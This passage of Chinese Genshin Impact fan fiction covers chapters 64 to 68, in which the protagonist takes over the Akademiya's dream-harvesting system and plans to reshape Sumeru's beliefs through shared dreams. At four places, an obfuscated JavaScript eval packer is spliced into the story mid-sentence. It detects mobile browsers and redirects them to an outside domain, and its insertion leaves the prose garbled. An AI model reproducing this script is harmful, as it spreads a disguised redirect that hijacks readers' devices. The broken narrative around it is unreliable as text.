他神色和平时没什么不同,但月见里清也能听出来他很开心,就连卡斯珀都能看出来他比平时耐心很多。 说到这,卡斯珀看向月见里清也说:“有醒着的也会被强制入睡吧?” “啧。”月见里清也不满,“我有这么暴力吗?” “教令院的学者都知道虚空终端的猫腻,他们是不会在夜晚带着虚空终端入睡的,到时候我在梦境里干什么,他们是不会知道的。” “教令院可以监控虚空终端的传输数据的。”卡斯珀提醒道。 月见里清也端起茶杯喝了一口,说:“我有说我要破坏他们收割梦境吗,你带的装置呢?” 卡斯珀将储存装置扔给月见里清也,这东西不过半个巴掌大小,月见里清也抬手接住,调动体内核心力量,开始给装置充能。 他的机甲比正机之神小得多,因此对能量需求也小很多,卡斯珀这次拿来的就是他机甲上的储存装置。 虽然小,但月见里清也知道它能储存不少能量。不一会,他就将充好能的装置扔回去,“看看,和教令院的有什么不一样?” “如果纯靠肉眼看的话,确实看不出什么。”卡斯珀用不了元素视野,只能拿着装置对着光查看,“但要对着光看,能察觉到二者的成色不同,你做的这个偏紫,用元素视野看会更明显点。” 虚空终端源自于草神的能力,教令院转化梦境得来的能量自然也算作草元素力,虽然月见里清也已经尽力控制能量的成色,但雷元素和草元素本质上的差异仍无法消除。 不过这也不是什么值得担忧的大事,他早就想了一套说辞,“这些梦境会经由我的身体,就和神明罐装知识一样,这些被我过滤提纯的能量会染上雷元素也不是值得大惊小怪的事吧。” “那么,你这么做的目的是什么呢?”卡斯珀问。 月见里清也说:“为了摆脱教令院的控制。” 机甲能源完全依靠教令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273441|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院来供应,这对二人来说不是一件好事,也就意味着教令院可以随时掐断能量供给,以此作为要挟。 月见里清也和散兵一样都不喜欢受制与人,他必须寻找突破口,所以教令院这次谈话对他来说,无异于打瞌睡时送过来的枕头。 能量提纯后,使用效率会大幅提高。教令院或许是觉得以目前的收集效率不足以维持正机之神的使用,所以才找上月见里清也。 不过现在贤者们就不用担忧能量不够了,因为从现在开始,这些能量来源从须弥民众的梦境,变为月见里清也自身。 “我只是个搞科研的,实在不会耍心眼儿。”卡斯珀听完后干巴巴的来了一句,“机体功能所需的能量很大,你确定你自己能搞定?” 月见里清也当然清楚供应两个机体需要多大的能量,但他只要还活着,他每一天的记忆就能在核心里转化成能量,更何况核心还一直处于一个即将溢出的状态,他对这事有把握,“放心吧。” 卡斯珀点点头,明白下一步该怎么配合二人了,他把充满能量的装置收好,准备回去进行试验。 月见里清也送他出门后,转身看向散兵。 “这事还没完吧?”散兵靠在沙发上,一手撑着头,多了几分慵懒,他抬眼看向月见里清也,眼神里透露出一丝玩味。 “当然,只不过接下来的内容不适合让卡斯珀继续听下去了。”月见里清也说,“连接虚空终端,也就意味着我可以操控众人的梦境,我并不需要收割他们的梦境作为力量,但我可以干一些更有意思的事。” 月见里清也说:“你有没有想过,你该以何种身份出现在须弥众人眼前?” 这话问的有些怪,散兵下意识就想回答,但在话说出口的一瞬间,他意识到月见里清也问的不该是这么浅显易懂的事。 他当然会以神明的身份出现在须弥民众的眼前,可他是个怎样的神明呢? 是代替草神的新神,还是在教令院帮助下登神的人造神? 月见里清也笑盈盈看着他,眼睛弯成一轮月牙,“又或者,你想不想成为须弥人眼中唯一的神明?” 散兵将手中茶杯放回桌上,抬眼看着月见里清也,他虽笑着,但眼神十分认真,不像是开玩笑。 散兵表情没有明显变化,冲月见里清也微微一抬头,“说来听听。” “我可以为众人编织一个共同的梦境,这个梦境会给人们下达心理暗示,只要持续的时间足够久,就可以潜移默化的影响人们的认知。”月见里清也说着,“你会是须弥的神明,这不是你的诞生,而是归来。” 作为统合所有梦境的梦主,须弥所有人的梦境都在月见里清也的掌控下,只要给他足够的时间,通过梦境修改人们的认知,将散兵塑造成须弥唯一的神明,世人眼前的“草神”不过是他的化身,教令院所做的一切不过是为了他再次降临。 教令院想要取代神明的野心很大,但月见里清也的野心更大。 65.梦境 月见里清也接受教令院提议,参与到虚空收割梦境这件大事自然瞒不过博士。但令月见里清也惊讶的是,博士对这件事并没有什么意见,甚至装作不知道。 这看起来是一件好事,但月见里清也心里始终有些不安,按照他对博士的了解,有的时候太过安静也是一种反常。 细想起来,这种反常的状态并不是第一次出现,从他恢复记忆开始,一直到现在,博士对他都是不闻不问,一切就像回到了还在愚人众的时候,仿佛几个月前博士对他的“关照”都是自己的错觉。 月见里清也心里十分清楚博士的反常不是自己造成的,从那天的对话就能看出来,博士压根不在乎他是否恢复了记忆。 所以,造成这一切的人只能是带着兜帽,自称“青羽澈”的少年了。 自从月见里清也上次与青羽澈挑明后,青羽澈倒是不在隐藏自己的行踪,但出现的时间依旧不固定。 这几个月下来,月见里清也才勉强摸到了一点头绪——青羽澈只有在散兵不在自己身边时,才有概率现身。 月见里清也想要找到他,只能选择暂时远离自己的哥哥了。 临近傍晚,月见里清也推开咖啡馆的大门,坐在了与上次同样僻静的位置,准备守株待兔。 同样的时间,同样的位置,一切都与那晚一样,甚至月见里清也一会还要去趟教令院。只不过他这次不是去杀人,家里也没有人等他回家。 生体改造完成,散兵已经开始进行与机体的连接了,连接机体也就意味着他以后无法通过肉身自由活动。 这在散兵的眼里属于必须要付出的代价之一。 虽然肉身被禁锢,但好在他还可以通过意识为载体,去任何想去的地方,干想干的任何事。 即便如此,月见里清也还是无法理解,但他只能尊重哥哥的选择。 散兵不在,月见里清也也不是很想一个人呆在住所,答应帮教令院提纯梦境,也算是给自己找了个能够在晚上光明正大进入教令院的理由。 想到这,他没忍住叹了口气。 “不要老叹气,会长皱纹的。”熟悉的声音在月见里清也耳边响起。 月见里清也抬头看去,青羽澈就坐在他的对面,身形甚至比上次还要淡薄,来一阵风就能把他吹跑,配上窗外的夜色和他那幽幽的声音,看起来更像个鬼了。 “长皱纹对我来说有点太遥远了,或许到我死的那一刻我都不会长皱纹。”月见里清也说。 毕竟这五百年间里,他的身高就没长过。 青羽澈不置可否,没接他的话,“找我干什么?” “你的身形看着更淡了,不能化成实体吗?”月见里清也慢悠悠地问。 青羽澈姿态放松了些,“离开寄身地脉时间太长,距离过远就会这样,我这算……二者的结合。” 月见里清也往咖啡里丢了块方糖,“这样啊,如果超出这个限度,你会消失吗?” “不会。”青羽澈说,他想了想又笑着补了一句,“除非你把寄身的地脉毁掉。” 月见里清也搅咖啡的手一顿,茶匙磕在杯壁上,意味不明的笑了笑。 他和青羽澈既不是朋友,也不是盟友,只能算作不那么陌生的陌生人,没人会傻到告诉陌生人自己的弱点是什么。 一次次救下自己的性命,又帮助自己拿到神之眼,还教自己使用核心力量,青羽澈想干什么几乎不言而喻。 “……”这跟月见里清也设想当中的不一样,有种自己还没进入正题就被人摆了一道的感觉,沉默片刻后才说,“一般人是不会跟自己计划中的棋子合作的。” “啊……”青羽澈摊了摊手,“可我已经死了啊,不算人。” 月见里清也:“……” 这混账话听着有几分熟悉,时至今日他终于体会到散兵听他说这话时是什么心情了。 “行吧。”月见里清也心有点累,“跟你合作,你能向我坦白多少?” 青羽澈想起月见里清也曾经问过的问题,有些迟疑道:“目前局势所有的情况,能被你接受的我都可以说。” 月见里清也闻言点点头,心想:这还差不多。 “那就从你和博士都聊了什么说起吧,让我看看你的诚意。” 青羽澈的面部被兜帽遮挡,月见里清也无法看到他的面部表情,也就少了一项辨认真伪的依据。 但是没关系,现在才傍晚六点,距离人们进入梦乡还有好几个小时,月见里清也并不着急去教令院,今晚上有大把的时间跟青羽澈耗。 “你如果是想问,那只薄荷色的乌鸦为什么最近销声匿迹了,是因为我告诉他了一些有关‘时间’的情报。”青羽澈说,“他的野心很大,你也好,散兵也罢,都是他课题中的关键人物。” 青羽澈顿了顿,“他最初被教令院驱逐,就是因为他认为人是一台复杂的机器,通过替换零件进行优化,这些人终有一天会拥有超出常理的力量。” 月见里清也一愣,想起刚加入愚人众时,博士和散兵的合作。 神造物,比普通人类身体素质强过百倍的人偶身体,对博士来说,散兵的确是最完美的一个试验品。 “明白了?在薄荷乌鸦眼里,散兵是需要被优化的人,他需要借助生体改造才能连接世界树,而你与世界树的关联,使得你能够轻而易举的连接世界树,无限制的从里面获取知识,还不会被污染侵蚀。”青羽澈说,“这些都是优点。” 月见里清也明白了,博士之所以让自已去收集神明知识,目的就是为了测试自己与世界树的联系。如果不是哥哥抢先一步,自己就会被博士借着改造的名义,将身上的特殊之处都作为优点,全部优化到散兵身上。 老实说,如果给予对象是他哥,月见里清也当然愿意给。但这种强行从他这里抢走,再送给散兵的行为就十分恶心人了。 “所以,眼下他只是被我提供的真假参半的情报缠住,无暇顾及了而已,并不是他真的不管降神计划了。”青羽澈说着话锋一转,还不忘自夸一句,“当然,眼下你可以不用担心了,毕竟你刚答应了合作,不是吗?” 月见里清也一哂,“我还没答应呢。” 不过青羽澈说的不错,多个人多个助力,从眼下的情况来看,他们的利益互不冲突,合作的事,也就应下来了。 与收集神明知识不同,虚空终端收集梦境的场所位于工坊内。 晚上九点,月见里清也带着酷似鬼魂的青羽澈来到实验室。 只不过从月见里清也有些无奈的表情来看,更像是青羽澈非要跟着他。 想到上次的经历,月见里清也没再尝试甩开他,按照学者的要求带上特制的虚空终端。 这枚改造后的虚空终端看起来与普通的终端并没有什么不同,按照学者的描述,终端连接着后面的机器,将梦境转化成能量。 在学者启动设备之前,月见里清也的手指轻点了两下桌子,青羽澈会意,飘到他跟前。 “启动设备后,让他们都睡过去。”月见里清也无声的说。 青羽澈点点头。 二人说是合作,但双方都不知道彼此要干什么事,秉持着对合作的尊重, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291366|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像月见里清也没刨根问底地问他那些他不能说的问题,他也不问月见里清也究竟想干什么。 月见里清也放下心,随着学者按下按钮,无数画面从他眼前飞驰而过,这种不适感觉让他想起连接世界树时的感受。 但在世界树里,这种感觉只持续了几秒就结束了。眼下,这些纷杂无序的画面并没有停下的意思,从眼前闪过的速度反而越来越快。 高速闪过的画面看得人眼花缭乱,令人不适,月见里清也皱眉,心里想着该怎么样让这些画面停下。 但在“停下”这个念头出现的一瞬间,眼前的画面仿佛都被按下了暂停键,月见里清也愣了愣,紧皱的眉头依旧没松开。 他环顾四周,周围一切都是漆黑一片。月见里清也没管眼前的画面,伸手向漆黑里探了探,没有摸到任何物体,他壮起胆子往各个方向走了几步,同样的没有遇到任何东西,这个不知名的空间里空无一物。 月见里清也在这个位置的空间探索,但那些梦境画面却留在原地,没跟着他一同过来,他抿了抿嘴,试着对那些画面招招手。 梦境画面仿佛受到感召,从一旁飞至而来。 月见里清也见状紧皱的眉头有了些许松缓,他试着触碰一下眼前的梦境,梦境发出波动,片刻后就消失在他的眼前。 下一秒,原本漆黑一片的梦境出现光亮,渐渐浮现出一个教室的场景。 教室里的学生大部分都看不清面容,唯独坐在紧挨着监考老师的那张桌子上的学生能看清样貌,想来应该就是这个梦境的主人了。 每个人的桌子上都放着一份试卷,所有人都在奋笔疾书,唯独这个梦境主人只字未写。 月见里清也有些好奇地慢慢走到他身旁,坐在他周围的人试卷上写地密密麻麻,反而他手里的那份卷子干净如初,和刚发现来的一模一样。 而梦境主人咬着笔头,嘴里念念有词。月见里清也凑过去一听,只听他念叨:“完了完了,一题也不会,怎么办啊!” 他一边念叨一边抓自己的头发,结果这一抓直接抓下大把头发,头发直接秃了一块。 月见里清也:“……” 好可怕的梦。 月见里清也一挥手,眼前的梦境消退,四周重新恢复漆黑的样子。 他挑了挑眉,将梦境列阵排开,随手挑了两个梦境,试图将它们融合在一起。 两个梦境之间并不相互排斥,月见里清也很轻松的就将其合二为一。 只不过他先前并没有读取两个梦境,导致这两个完全不相关的梦合成了一个十分不伦不类的梦境。 月见里清也看着在天上游泳的鱼,坐在教令院上课的蕈兽,画面十分诡异,他坚持不到两秒就挥手打散了梦境。 这下他完全懂了,虚空终端收集的梦境画面相当于素材库,漆黑一片的空间类似于编辑器,自己可以提取这些梦境里的元素,编辑想要的梦境。 眼下制作梦境的问题已经被解决,但如何投放还是一个问题。 他漫无目的地扫着眼前的梦境,忽然想到了什么,手指轻轻一动,那些列阵排开的梦境又重新变回了最初的样子。 梦境画面一个接一个的一字排开,像一条延绵不绝的绸缎,月见里清也面前的是绸缎的一头,另一头自然就是收集梦境的场所。 月见里清也顺着梦境向另一头跑去,等跑到了尽头,梦境消失在黑暗中,他抬手向前探去,触摸到了墙壁。 他嘴角一勾,手上一使劲,墙壁被推动。而在这面墙壁的背后,映入他眼帘的,是挂着繁星的须弥城。 66.梦中国度 月见里清也的意识漂浮在须弥城最高处,稍微一低头就能俯瞰到须弥城的全景。 夜晚的须弥城静悄悄,只有酒馆和个别住户还亮着灯,从上往下看去,这些还亮着灯光的房间仿佛夜晚的星星,光芒不大,在夜幕里格外醒目。 而那些已经入睡的房间里,一条条银丝从各家窗户飞出,在空中交织汇集,连接到一个外形类似捕梦网的设备中。 一条条银丝织出一张网,网住了须弥城的居民,再通过捕梦网的转化,就有了月见里清也在空间里见到的那些梦境画面。 月见里清也耐心地等了片刻,等到最后一盏灯也熄灭,连接捕梦网的银丝又多了几根,这才起身返回空间。 他勾勾手指将梦境画面全都招过来,把画面不断缩小,最后变成一个个小巧的球状物。 每个梦境球散发的光芒都不同,密密麻麻排满了空间的一侧墙壁,花花绿绿的像是贴满了过节时用的气球。 他心下一动,梦境球分裂成了不同的元素泡,按照他的想法,所有不好的、有关噩梦的元素被他通通扔到一旁。 月见里清也一目十行的扫过剩下的元素泡,他一边看一边扔,通过他筛选的寥寥无几,反倒是一旁废弃的元素泡越来越多。 直到最后一个元素泡被扔到废弃的队伍中,只有两个元素泡被月见里清也留下,一个是场地,另一个是情绪。 考虑到须弥人许久不做梦,加上贤者的刻意引导,没有梦境的生活对须弥人而言是一种常态,要是突然将梦境归还给他们,恐怕会引起巨大的恐慌。月见里清也思来想去,决定先来个舒缓轻松的梦境作为缓冲。 月见里清也垂眸看着手上的两个元素泡,将它们投入空间之中。漆黑的空间被绿茵茵的草地覆盖,午后的阳光洒在草地上,月见里清也调低了梦中太阳照射的温度,照在身上一点也不晒。舒缓的情绪起了作用,来到梦境中的人不会想起现实中的事,在这个梦境里,他只是他自己。 做完这一切的月见里清也没忘他编织梦境的目的,想要通过梦境修改认知,让散兵的降临合理化,只能靠着每天在梦境里留下一点“线索”。 生活在智慧之国的人们,多少都会有点“求知”之心,月见里清也甚至不需要编织一个完整的故事,须弥的民众自己就会将空白部分填补上。 但作为第一个梦境,月见里清也自然不会放太多的猛料,就像人不能一口气吃成个胖子一样,一切都要循序渐进。 他看向草地的尽头,在那里投放了世界树的虚影,又做了模糊处理,让虚影看起来既像须弥城中的巨树,又像世界树。 这棵树贯穿天地,很难让人不注意到。但绝大部分人都没见过世界树的真实样貌,除了教令院的学生,恐怕很难让人往这方面上想,可在联合了须弥城的样貌之后,也就给所有人一个靠近它的理由,那就是回家。 但那不是他们记忆中的家,是月见里清也建造的梦中国度,是新时代地发源地。 只不过这一切还远未到揭幕的时候,远处的巨树只是虚影,梦中人不管通过怎样的手段都不能靠近,只能远远的看着它。 做完这一切,月见里清也将画面重新压缩成一个梦境球,重新来到捕梦网前。 一个轻松的梦,既能舒缓情绪,又因为没什么内容,可以醒来后就被淡忘,只不过会在极偶尔的一个瞬间里会意识到自己做了个梦。 也正因为这个梦境简单又短暂,甚至不需要月见里清也这个梦主来维持,他只需要将这个散发着暖光的梦境球放入捕梦网,剩下的虚空系统会搞定一切。 知晓收割梦境计划的学者不会带着虚空终端入睡,月见里清也投放的梦境无法涵盖到他们,因此不必担心直接被教令院察觉。但同时月见里清也也担心民众反应过大,被教令院察觉到异样。 “关于这个我倒是有一个想法,但借着神明的名义行事必然会被她察觉。”月见里清也自言自语道,“不过算了,或许早就被她察觉到了,毕竟梦境和虚空都是草神的权能。” 他又在这个梦境的最后加上了一条“神谕”,如果有人想起梦境内容,这道“神谕”就会提醒他们不要声张。 事实上他并没有讲明这道神谕究竟是谁发出的,但须弥的民众理所当然的认为这是草神下达的神谕。 月见里清也上下抛着梦境球,梦境球小小的一颗,拿在手里并没有什么重量,在投入捕梦网的前一刻,他给自己套了层伪装 时间太短,他自己一时半会也没想起什么头绪,只好就地取材,弄了一个青羽澈同款斗篷罩在身上。 梦境球投入捕梦网的瞬间,千万条银丝染上梦境球的光芒,确认无误后,月见里清也按照教令院学者的指示脱离梦境。 在意识抽离的前一刻,远处画面一闪,一个白发少女的身影突然出现在月见里清也的视野里。 他先前并没有见过须弥现任草神长什么样子,但能在虚空系统和梦境里畅行无阻的,恐怕只有这位小吉祥草王了。 教令院的囚禁手段怎么可能困得住神明,他们可以囚禁住小吉祥草王的肉身,但囚禁不住她的意识。 二人中间隔着大半个须弥城,看不清对方的面容,但小吉祥草王像是察觉到了月见里清也视线,往他在的方位看过来。 “意识抽离倒计时:3……2……” 虚空终端倒计时即将归零,月见里清也抬起两根手指碰了碰太阳穴,打了不正经的招呼,随后他的身形逐渐变得淡薄,消失在了须弥城的夜色之中。 月见里清也意识重新回到在工坊内的身体里,睁眼的第一件事,就是先把虚空终端给摘下来。 现在基本已经确定,小吉祥草王可以在虚空系统和梦境里现身,但只要不连接虚空终端,他就暂时不用担心小吉祥草王会察觉到他的身份。 “梦见什么了,笑的这么傻。”刚摘下终端,一道声音从耳边传来,距离他很近。 月见里清也被这声音吓了一跳,有些夸张的捂住心口说:“哥哥,不要冷不丁的突然出声,很吓人的。” “做亏心事了?”散兵靠着操作台扭头看着他。 “我就非要背着你做了什么事才会被你吓到吗?”月见里清也有些不满,他说着回过身扫了一眼实验室,除了他和散兵外,剩下的就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297639|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躺在地上的值班人员,实验室里早就没了青羽澈的身影。 这也在月见里清也的意料当中,毕竟青羽澈见了散兵就像见了洪水猛兽,跑得比兔子还快,自然不可能留在这里。 他这点小动作逃不过散兵的眼睛,散兵抱着手看他,“在找谁?” 找不到人的月见里清也溜达到转换装置前,在一堆空的储存装置里面挑挑拣拣,明明都长一个样,也不知道他在挑什么,闻言一时嘴快:“没谁。” 话刚说出口,他就后悔。 月见里清也把手里的储存装置一扔,刚想解释什么,就见他哥的脸色一变,又挂上了那副第六席士兵见了就犯怵的笑,“哦,没谁。请你给我解释一下,我是什么洪水猛兽,谁见了我就想跑?” “反正在我眼里你不是,还有我最亲爱的哥哥是不会动不动就读我的心声,会给我一点隐私的对不对?”哄散兵的话月见里清也张口就来,一点也不在乎自己的脸皮,试图避重就轻的糊弄过去。 关于读心这点的确是月见里清也有点强人所难了,散兵只有进入月见里清也意识中,才能与他对话。 对于身处月见里清也意识之中的散兵来说,他是被动听月见里清也的心声,只要心声出现,就能和正常说话一样被他听到,不是说他想不听就可以不听的。 “那麻烦你心里活动别这么活跃。”散兵自然也听到了月见里清也避重就轻的想法,冷飕飕的说,“与其对我甜言蜜语,不如想想你该怎么‘避重就轻’。” 月见里清也冲他哥讨好地笑了笑。 他自认为自己长得还行,这个笑容也是他尝试过,几乎百试百灵的笑容。 他眼角微弯,眼神漾着笑意,在散兵眼里看着就像一只冲你露出肚皮撒娇的狐狸,尤其是当他以从下往上的视角看自己的时候,能感觉到他并不是在讨好自己,而是在向自己表示真诚。 就好像在说,我并非刻意隐瞒,我永远都不会背叛你。 散兵看了没两秒就移开了视线,嫌弃道:“真傻。” 散兵虽嘴上嫌弃,但月见里清也知道他已经消气了。既然散兵可以听见自己的心声,自己也懒得费口舌,直接通过心声讲明白这件事的前因后果。 月见里清也一边说着,一边一心二用给储存装置充能。 散兵的确未曾见过青羽澈,对这个人的印象完全靠月见里清也的讲述,不光月见里清也疑惑,他自己也想不通为什么青羽澈要躲着他。 通常来说,只要青羽澈不想现身,除了月见里清也谁也看不见他,散兵目前不清楚这是什么原理,但他也没有把握能够百分百察觉到这个人的存在。 这点也是月见里清也想不通的地方,既然二人也从未有过交集,青羽澈为什么不想见散兵? 甚至可以说是为了避免见面而躲着他? 这点恐怕只有青羽澈自己清楚了,他不想说,甚至跑得比兔子还快,月见里清也也没办法从他嘴里翘出来。 虽然达成合作,但青羽澈这种谜团太多的合作伙伴总是让月见里清也放心不下,他可以当做短时间内的有效助力,但不能是长期的合作伙伴。 67.储备能量 当须弥城居民沉浸在梦境时,作为梦主的月见里清也正用自己的工作卡刷开工坊三层实验室的大门。 他完全可以趁着天还没亮,回去睡一觉,但他不想这么做。 比起自己面对一个空荡荡的房子,还不如来教令院陪他哥。 至于散兵本人需不需要陪伴他不知道,他只是单方面认为散兵需要。 这里本该是降神计划最神圣的场所,但自从机体连接开始,便成了月见里清也每晚过夜的地方。 来到了这里,散兵就没必要继续呆在月见里清也的意识里,回到了自己的身体里。 月见里清也看他醒来,抬手跟他打了个招呼,“晚上好,哥哥。” “容我提醒你,一秒钟前我刚陪你一路走过来。”散兵看着拿这当家的月见里清也,叹了口气说。 起初他也试图赶月见里清也回去,奈何对方就是个狗皮膏药,撒泼打滚无所不用其极,好像认准了自己只是嘴上说说,不打算下重手,完全不带怕的。 月见里清也暂时不知道自己又多了个狗皮膏药的称号,正兴致勃勃的看着正机之神的机甲。 毕竟正机之神才是教令院的重中之重,是优先级最高的项目,月见里清也这个“眷属”自然要往后排,加上又是临时添加的项目,属于月见里清也的机体自然还在赶工中,只好看看散兵的过个眼瘾了。 他装作听不懂散兵的话,指着机甲的一处问道:“这里是不是跟我昨天见的不一样了?” “嗯,今天战斗系统进行了更新。”散兵靠在机甲上,看着他在下面东敲西摸的,冲他喊道:“上来。” 机体连接还没全部完成,散兵并未完全丧失行动力,只不过受已经完成连接部分的影响,他的活动范围被限制在驾驶室周围,无法下去,就只能让月见里清也上来了。 月见里清也干这事轻车熟路,跃至半空借助水元素提供的浮力,轻轻一跃。 他把控着力度,像羽毛一般轻轻落在正机之神的肩膀处。 这个位置即使是身体连接着导管的散兵也可以到达,月见里清也拍了拍身旁的位置,示意他过来坐。 散兵坐过来时,月见里清也看着他,想要下意识忽略掉他背后的导管,随后发现自己根本做不到。 连接还未完成,要连接到散兵体内的导管远不止这些,虽然现在他的动作看起来与常人无异,但月见里清也注意到他的动作比平时慢了些。 也是,怎么可能不疼呢。 眼前的一切就像针一样刺入月见里清也眼中,刺的他眼前一酸,扭过头不去看散兵背后的伤口。 月见里清也没问散兵疼不疼,因为得到的答案永远都是一样的,永远都是那两个字:“不疼”。 这是散兵自己选择的路,月见里清也不会干涉,只会陪他在这条路上一直走下去。 所以月见里清也开口提了另一件事来转移注意力,“在虚空终端操控梦境时,我遇到了被教令院囚禁的小吉祥草王了。” 这个话题的效果立竿见影,散兵的注意力果然被转移到这个话题上,但他说了什么月见里清也只字未听,面上应着,手却悄悄握住散兵撑在身侧的手,微弱的水元素从他手上流淌到散兵身上。 察觉到身上的疼痛有所缓解,散兵说话声一顿,垂眸看向月见里清也覆在自己手上的手。 月见里清也仿佛知道他要干什么,立马握紧散兵的手。 果不其然,散兵下一秒就想把手抽走,可惜月见里清也握得紧,没能抽走。 “和我们猜想的一样,教令院并没有完全控制住这位智慧之神,毕竟是用着她的权能做事,被她察觉也是必然。”月见里清也装作无事发生的样子,一直没转头,忍着笑意说:“不过不用担心,有教令院提我打掩护,暂时找不到我头上来。” 见月见里清也决定将装傻充愣进行到底,散兵没好气道:“怎么,需要我夸夸你吗?” 月见里清也闻言还真转头看着他,眼神好像真有一点……期待? “你当你是三岁小孩?”散兵抬了一下被月见里清也握住的手说,“我没那么娇弱,松手。” “哦。”月见里清也应了一声,又扭过头去装聋了。 散兵:…… 月见里清也对元素的应用没点在治疗上,只能替散兵隔绝疼痛,并不能治疗伤口。 他不知道连接机体有多疼,但他知道划开皮肉切断脊椎有多疼。维持这点微不足道的元素力对自己没有影响,但被这种疼痛折磨一夜实在痛苦。如果散兵一整晚都打算让他松手,那他只好暂时选择性耳聋一个晚上了。 但散兵也知道月见里清也是个什么个性,说完那句话后也没再提,夜晚就这样悄然过去,转眼已是天明。 在离开实验室后,月见里清也许久没有动静的通讯器传来了暗线的情报:那位旅行者已经结束稻妻的旅程,于昨日到达须弥化城郭。 来须弥前,月见里清也和散兵就曾猜想旅行者的下一步会不会来须弥,于是在那时就给手里的暗线安排了任务,其中有一项就是盯紧旅行者的动向。 虽然旅行者的到来对于他和散兵来说并不是好消息,但看到暗线的消息时,月见里清也还是没忍住感叹一句:终于来了。 毕竟他可以不用再思考局势会不会出现什么变动,因为现在变数已经进入他的视线,被察觉的变数就不叫变数了,这对月见里清也而言确实一种轻松。 虽然目前不知道旅行者被什么事情是绊住了脚步,让他暂时还没有前往须弥城的打算,但他耽误的这几天,在须弥城够发生好几件大事的了。 月见里清也刚把暗探的消息看完,卡斯珀刚好推门而入,脸色有些不对劲。 一般来说,托卡斯珀大心脏的福,他对一切情况都能快速接受,哪怕让他临时加班,他也能快速消化一如往常的去加班,月见里清也很少见到他脸色这么难看过。 “是机体数据不对,还是教令院开会决定把整个项目给砍了?”月见里清也问。 他嘴上这么说,心里也知道这是不可能的事,尽管自己的机甲不是教令院的重中之重,从材料到制作上一切从简,但仍耗费了教令院大量的人力物力,不可能说砍就砍。 只是卡斯珀脸色沉得像一摊死水,月见里清也才往最坏的情况上说。 “情况倒也没差到那种程度,”卡斯珀的表情有些松动,“是有关于机体能量供应的,一个好消息,一个坏消息,你想先听哪个?” 见卡斯珀还有心情开玩笑,情况或许真的没那么糟,月见里清也想了想说,“好消息吧。” “好消息是,你提供的能量是可以作为机甲能源的;坏消息是,按照那帮的学者推论,以现在的进度来说,能源储备的速度太慢,供应两个机体远远不够。”卡斯珀说。 哪怕月见里清也已经在不被学者发现异常的情况下,尽可能多的输入能量,但这样的速度教令院仍觉得慢。 毕竟他输入的能量仅仅是能量而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你是想把你的机甲,包括你自己,都当做做正机之神能量储备装置?”卡斯珀说。 就和月见里清也自己身体里的核心一样,可以说是储备装置,也可以称之为“心脏”。 其实这点月见里清也现在就可以做到,没有必要连接正机之神。但如果他不连接,教令院就该怀疑他的动机了。 教令院用须弥民众做什么事情,这些都是教令院自己的打算,与月见里清也没有任何关系。月见里清也也不是什么心怀天下的大善人,倘若他无缘无故直接提出这个计划,很难不让人怀疑他背后的目的。 只有自己以身入局,才能打消他们的怀疑。 月见里清也没回话,卡斯珀知道他已经拿定了主意,但还是没忍住开口道:“是不是对自己有点太狠了,哪怕你以自己的机体连接正机之神,还是会和散兵一样失去自由行动的能力。” “暂时管不了那么多了,我只知道,让教令院掌控能量供应,诞生的只会是一个在教令院掌控之下的傀儡,是下一个草神。”月见里清也望着卡斯珀,笑了笑,“而我要的,是让我的神明真正的诞生在这个世界上。” 明明向教令院提出的办法会让他也丧失自由,但月见里清也笑的依旧很开心,像是解决了棘手的麻烦,长松一口气的样子。 “我也不会把自己逼上绝路,现在,带我去找大贤者吧。”月见里清也笑容微收,对卡斯珀说。 68.崇高的“谎言” 卡斯珀带着月见里清也到了大贤者的办公室,却被告知大贤者并不在这里,而是去了议事厅。 二人只好掉头去往智慧宫深处的议事厅,路上,卡斯珀越想越觉得不对,“不行,我还是觉得,你要先提前通知大人一声。” 处理工作时,他又改了称呼。 月见里清也摇摇头,“来不及了,他们只要决定使用原本计划,在操控梦境时必然会发现我昨晚投放梦境的痕迹。” 卡斯珀只好问他:“你能劝动大贤者的概率有多少?” 月见里清也想了想说:“大概……百分之七十吧。” 卡斯珀听完差点心梗,“剩下的百分之三十是什么?” “只要博士不在,成功率可以达到九十及以上。”月见里清也答的干脆,“我其实大体能猜到教令院的计划是什么,你看,梦境转化的能量不够,他们一开始试图提纯能量,发现结果并不如人意。” 